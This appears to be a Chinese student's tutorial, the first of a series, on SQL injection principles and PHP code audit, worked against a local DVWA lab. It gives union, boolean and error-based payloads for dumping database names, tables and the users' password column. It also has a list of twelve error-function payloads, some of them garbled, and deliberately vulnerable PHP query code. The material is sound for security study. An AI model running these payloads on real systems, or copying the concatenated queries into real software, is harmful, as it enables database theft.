忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考,历时两个星期,第一系列SQL注入回顾篇出炉!内容分四节发布,其中SQL注入代码审计为两节,WAF绕过总结为1节,SQLMAP使用总结为1节!此为SQL注入代码审计第一部分。欢迎各位斧正,交流!
SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。
Sql注入的产生需要满足以下两个条件:
参数用户可控:前端传给后端的参数内容是用户可以控制的。
参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。
当传入的参数ID为1’时,数据库执行的代码如下所示。
Select * from users where id=1’
这个语句不符合数据库语法规范,所以会报错。当传入的参数为and 1=1时,执行的sql语句如下所示
Select * from users where id=1 and 1=1
因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时,此时sql语句恒为假,所以服务器会返回与id=1不同的结果
在实际环境中,sql注入会导致数据库的数据泄露,在安全配置不当的情况下还可能会被攻击者拿到系统权限,进行文件的读写操作等。
普通的注入审计,可以通过$_GET
,$_POST
等传参追踪数据库操作,也可以通过select
, delete
, update
,insert
数据库操作语句反追踪传参。
在Mysql 5.0版本之后,Mysql默认在数据库中存放一个”information_shcema
”的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA
,TABLES
和COLUMNS
。分存储该用户创建的所有数据库的库名,库名和表名,库名和表名,字段名。
Limit的用法:使用格式为limit m,n
,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。
需要记住的几个函数
database():当前网站使用的数据库。
version():当前MYSQL的版本。
user():当前MySQL的用户。
在MYSQL中,常见的注释符的表达式为:#或–空格或/**/,
,//,-- , --+,%00,–a。
内联注释
内联注释的形式:/*!code */。内联注释可以用于整个SQL语句中用来执行我们的SQL语句,
举个栗子:
Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
MYSQL对大小写不敏感,所以存在大小绕过。
按照注入方式方式分为以下几种:
注入测试地址http://192.168.23.134/union/union.php?id=1
在url后添加一个单引号,再次访问,如下图所示,页面返回的结果与id=1的结果不同。
访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果,如图所示,访问id=1 and 1=2 由于and 1=2为假,所以页面应返回与id=1不同的结果,如图1.2所示。
注:这里的加号代替了空格(url编码)
图1.2
因此可以得出此网站可能存在sql注入的结论,接着使用order by 1-99语句查询该数据表的字段数量,可以理解为order by=1-99,如访问id=1 order by 8 返回的是与id=1相同的结果,如图2.1所示。访问id=1 order by 9,返回的与id=1的结果不同,则字段数为8,如图2.2.
图2.1
图2.2
接下来使用union注入,且通过order by 查询结果,得字段数为8,所以union注入的语句如下所示
union select 1,2,3,4,5,6,7,8
我们将id值设为-1,只让服务器返回union select的结果,因为数据库里没有id=-1的数据。如下图:
返回的结果是4,5,意味着在union select 1,2,3,4,5,6,7,8中,4和5的位置可以输入sql语句。接下来我们在 4的位置使用database()查询当前数据库名访问
-1+union+select+1,2,3,database(),5,6,7,8
以此类推,可以查询所有的表名,这里我们用users表,查询字段名
select column_name from information_schema.clumns where table_schema=’dvwa’ and table_name=’users’ limit 0,1
可知第一个字段为user_id,以此类推用limit n,1查询出所有字段名
得出字段名后,我们还要dump出字段值以password字段为例
select password from dvwa.users limit 0,1
假如我们利用5显示位,可以将密码对应的姓名也打印出来
在union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面上,由于是将数据输出到页面上的,所以可以利用union语句查询其他数据,代码如下
$con=mysqli_connect("localhost","root","root","dvwa");
// 检测连接
if (mysqli_connect_error()
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `user_id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['user'] . " " . $row['password'];
echo "
";
}
?>
注入测试地址:http://192.168.23.134/boolean/boolean.php?id=1
加上单引号后,页面返回no
虽然这里存在报错注入,但目前暂不考虑,输入其它的id值,只返回yes和no。由此可以判断,页面只返回yes和no,不返回数据库中的数据,所以此处不可union注入。此处利用Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些sql判断条件是成立,以此获取数据库数据。我们先判断数据库名的长度。
‘ and length(database())>=1--+
有单引号,所以需要注释符来注释。1的位置上可以是任意数字,如‘ and length(database())>=4–+和‘ and length(database())>=5–+,判断数据库长度,如图所示
可以判断出数据库名长度为4。
接着,使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在az,09之内,可能还有一些特殊字符,这里的字符不区分大小写。逐字符判断的SQL语句为:
‘ and substr(database(),1,1)=’d’--+
substr是截取的意思,其意思是截取database()的值,从第一个字符开始,每次只返回一个。
substr的用法跟limit的有区别,需要注意。Limit是从0开始排序,而这里是从1开始排序。可以使用burp的爆破功能爆破其中的d值,如图所示,当值为d时页面返回yes,其它值返回no,因此判断数据库名第一位为d
逐字符爆破可以得出数据库名为dvwa。
其实还可以使用ASCII码的字符进行查询,在mysql中ASCII转换的函数为ord,则可以进行逐字符爆破。ASCII码共有127个对应码,因此我们把burp的payload的范围设为0~127。
‘ and ord(substr(database(),1,1))>=100--+
d的ascii对应的为100,所以第一个字符为d。
接下来爆破表名,同样利用burp爆破。
‘ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1,1)=’u’--+
这里爆破出第二个表的第一个字符为u,以此类推,就可以查询出所有的表名与字段名。
在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询的结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no,代码如下。
$con=mysqli_connect("localhost","root","root","dvwa");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");
}
$result = mysqli_query($con,"select * from users where `user_id`='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
?>
注入测试网址:192.168.23.134/error/error.php?username=1
加上单引号后会报错。
通过页面返回结果可以看出,程序直接将错误信息输出到了页面上,所以利用报错注入获取数据。报错注入有多种方式,此处利用函数updataxml()SQL语句获取user()的值
‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~,concat函数用于连接字符串。
然后获取当前的数据库名
‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
接下来查询表名
‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),0x7e),1)--+
在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询,如果执行成功,就输出ok;如果出错,则通过mysqli_error($con)将错误信息输出到页面。代码如下
$con=mysqli_connect("localhost","root","root","dvwa");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where `first_name`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
输入username=1’时,SQL语句为select * from users where ‘username’=’1’’会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()等函数将要查询的内容输出到页面上。
sql报错注入的12个函数
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from(select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
本次分享是Union注入,报错注入,布尔注入的原理分析,及其代码审计!下次分享的是另外几种注入的代码审计及其原理分享,如:时间注入,堆叠注入,二次注入,cookie注入等!如有兴趣,请移步->
传送门:
SQL注入回顾篇(二)
SQL注入回顾篇(三)
SQL注入回顾篇(四)